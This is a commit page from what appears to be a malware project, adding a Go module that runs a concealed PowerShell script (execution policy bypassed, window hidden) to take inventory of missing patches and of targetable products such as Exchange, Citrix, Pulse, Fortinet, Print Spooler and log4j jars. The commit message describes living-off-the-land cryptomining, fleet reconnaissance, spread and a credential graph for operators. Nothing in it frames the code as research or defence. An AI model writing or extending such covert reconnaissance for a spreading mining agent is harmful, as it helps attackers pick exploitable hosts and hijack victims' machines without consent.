Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
162
agent/vulnprobe/probe_windows.go
Normal file
162
agent/vulnprobe/probe_windows.go
Normal file
@@ -0,0 +1,162 @@
|
||||
//go:build windows
|
||||
|
||||
package vulnprobe
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const windowsProbeScript = `
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$out = [ordered]@{}
|
||||
|
||||
# Hotfix + QuickFixEngineering (read-only patch inventory)
|
||||
$kbs = @()
|
||||
try {
|
||||
$hf = Get-HotFix | Sort-Object InstalledOn -Descending
|
||||
if ($hf) {
|
||||
$latest = $hf | Select-Object -First 1
|
||||
if ($latest.InstalledOn) {
|
||||
$d = [datetime]$latest.InstalledOn
|
||||
$out.last_patch = $d.ToString('yyyy-MM-dd')
|
||||
$out.last_patch_days = [int]((Get-Date) - $d).TotalDays
|
||||
}
|
||||
$kbs += @($hf | ForEach-Object { $_.HotFixID })
|
||||
}
|
||||
} catch {}
|
||||
try {
|
||||
$qfe = Get-CimInstance Win32_QuickFixEngineering -ErrorAction SilentlyContinue
|
||||
if ($qfe) { $kbs += @($qfe | ForEach-Object { $_.HotFixID }) }
|
||||
} catch {
|
||||
try {
|
||||
$qfe = Get-WmiObject Win32_QuickFixEngineering -ErrorAction SilentlyContinue
|
||||
if ($qfe) { $kbs += @($qfe | ForEach-Object { $_.HotFixID }) }
|
||||
} catch {}
|
||||
}
|
||||
$out.installed_kbs = @($kbs | Where-Object { $_ } | Select-Object -Unique)
|
||||
|
||||
# Service surface (Get-Service)
|
||||
$exSvc = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -like 'MSExchange*' -or $_.DisplayName -like '*Exchange*' })
|
||||
$out.exchange_installed = ($exSvc.Count -gt 0 -or (Test-Path 'HKLM:\SOFTWARE\Microsoft\ExchangeServer'))
|
||||
|
||||
try {
|
||||
$dc = (Get-CimInstance Win32_ComputerSystem).DomainRole -in 4,5
|
||||
} catch { $dc = $false }
|
||||
$out.is_domain_controller = $dc
|
||||
|
||||
$pulse = @(Get-Service -ErrorAction SilentlyContinue | Where-Object {
|
||||
$_.DisplayName -match 'Pulse|Ivanti|Juniper Pulse' -or $_.Name -match 'Pulse'
|
||||
})
|
||||
$out.pulse_present = ($pulse.Count -gt 0)
|
||||
|
||||
$citrix = @(
|
||||
(Test-Path 'C:\Program Files\Citrix'),
|
||||
(Test-Path 'C:\Program Files (x86)\Citrix')
|
||||
) | Where-Object { $_ }
|
||||
$out.citrix_present = ($citrix.Count -gt 0)
|
||||
|
||||
$f5 = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'bigip|f5' })
|
||||
$out.f5_process = ($f5.Count -gt 0)
|
||||
|
||||
$conf = @(Get-Process -ErrorAction SilentlyContinue | Where-Object {
|
||||
$_.Path -match 'atlassian|confluence|tomcat' -or $_.ProcessName -match 'confluence|tomcat'
|
||||
})
|
||||
$out.confluence_like = ($conf.Count -gt 0)
|
||||
|
||||
$me = @(
|
||||
(Test-Path 'C:\Program Files\ManageEngine'),
|
||||
(Test-Path 'C:\ManageEngine')
|
||||
) | Where-Object { $_ }
|
||||
$out.manageengine_present = ($me.Count -gt 0)
|
||||
|
||||
$forti = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'forti' })
|
||||
$out.forticlient = ($forti.Count -gt 0)
|
||||
|
||||
$vmw = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'vpxd|VMware' })
|
||||
$out.vmware_serverish = ($vmw.Count -gt 0)
|
||||
|
||||
try {
|
||||
$sp = Get-Service Spooler
|
||||
$out.spooler_running = ($sp.Status -eq 'Running')
|
||||
} catch { $out.spooler_running = $false }
|
||||
|
||||
try {
|
||||
$sshd = Get-Service -Name sshd -ErrorAction SilentlyContinue
|
||||
$out.ssh_listening = ($sshd.Status -eq 'Running')
|
||||
} catch { $out.ssh_listening = $false }
|
||||
|
||||
$log4j = @()
|
||||
$roots = @($env:ProgramFiles, ${env:ProgramFiles(x86)}, 'C:\ProgramData') | Where-Object { $_ -and (Test-Path $_) }
|
||||
foreach ($root in $roots) {
|
||||
$log4j += Get-ChildItem -Path $root -Filter 'log4j-core*.jar' -Recurse -Depth 3 -ErrorAction SilentlyContinue |
|
||||
Select-Object -First 5 -ExpandProperty FullName
|
||||
}
|
||||
$out.log4j_jars = @($log4j | Select-Object -Unique)
|
||||
|
||||
$out | ConvertTo-Json -Compress -Depth 4
|
||||
`
|
||||
|
||||
type windowsProbeResult struct {
|
||||
LastPatch string `json:"last_patch"`
|
||||
LastPatchDays int `json:"last_patch_days"`
|
||||
InstalledKBs []string `json:"installed_kbs"`
|
||||
ExchangeInstalled bool `json:"exchange_installed"`
|
||||
IsDomainController bool `json:"is_domain_controller"`
|
||||
PulsePresent bool `json:"pulse_present"`
|
||||
CitrixPresent bool `json:"citrix_present"`
|
||||
F5Process bool `json:"f5_process"`
|
||||
ConfluenceLike bool `json:"confluence_like"`
|
||||
ManageEnginePresent bool `json:"manageengine_present"`
|
||||
FortiClient bool `json:"forticlient"`
|
||||
VMwareServerish bool `json:"vmware_serverish"`
|
||||
SpoolerRunning bool `json:"spooler_running"`
|
||||
SSHListening bool `json:"ssh_listening"`
|
||||
Log4jJars []string `json:"log4j_jars"`
|
||||
}
|
||||
|
||||
// ProbeHost gathers Windows LOTL recon inputs (Get-HotFix, Get-Service, WMI QFE).
|
||||
func ProbeHost(listeningPorts map[int]bool, osVersion string) HostContext {
|
||||
ctx := HostContext{
|
||||
Platform: runtime.GOOS,
|
||||
OSVersion: osVersion,
|
||||
LastPatchDays: -1,
|
||||
ListeningPorts: listeningPorts,
|
||||
}
|
||||
out, err := HiddenExec(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
windowsProbeScript,
|
||||
)
|
||||
if err != nil {
|
||||
ctx.ProbeError = err.Error()
|
||||
return ctx
|
||||
}
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
var p windowsProbeResult
|
||||
if err := json.Unmarshal([]byte(raw), &p); err != nil {
|
||||
ctx.ProbeError = err.Error()
|
||||
return ctx
|
||||
}
|
||||
ctx.LastPatch = p.LastPatch
|
||||
ctx.LastPatchDays = p.LastPatchDays
|
||||
ctx.InstalledKBs = p.InstalledKBs
|
||||
ctx.ExchangeInstalled = p.ExchangeInstalled
|
||||
ctx.IsDomainController = p.IsDomainController
|
||||
ctx.PulsePresent = p.PulsePresent
|
||||
ctx.CitrixPresent = p.CitrixPresent
|
||||
ctx.F5Process = p.F5Process
|
||||
ctx.ConfluenceLike = p.ConfluenceLike
|
||||
ctx.ManageEnginePresent = p.ManageEnginePresent
|
||||
ctx.FortiClient = p.FortiClient
|
||||
ctx.VMwareServerish = p.VMwareServerish
|
||||
ctx.SpoolerRunning = p.SpoolerRunning
|
||||
ctx.SSHListening = p.SSHListening
|
||||
ctx.Log4jJars = p.Log4jJars
|
||||
return ctx
|
||||
}
|
||||
|
||||
func linuxPackageFindings(_ HostContext) []VulnFinding { return nil }
|
||||
Reference in New Issue
Block a user